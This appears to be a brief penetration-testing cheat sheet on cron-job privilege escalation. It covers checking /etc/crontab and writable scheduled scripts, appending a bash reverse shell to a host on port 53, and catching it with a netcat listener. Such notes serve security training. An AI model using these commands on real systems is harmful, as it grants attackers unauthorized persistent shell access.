Cron Jobs

Cron jobs are scheduled tasks that are executed automatically at specific intervals on Unix-like operating systems. The name "cron" comes from the Greek word "chronos," meaning time, as these jobs are related to time-based scheduling.

User crontabs are usually located in /var/spool/cron/ or /var/spool/cron/crontabs/

The system-wide crontab is located at /etc/crontab.

cat /etc/crontab
# Check if you can edit the file
ls -l /usr/local/bin/compress.sh

# If you can edit the shell above, add the following reverse shell command.
bash -i >& /dev/tcp/<IP Address>/53 0>&1

# At Kali, set up a netcat listener 
nc -nlvp 53

Wait for a next cron job to run. You will see the conneciton.

Last updated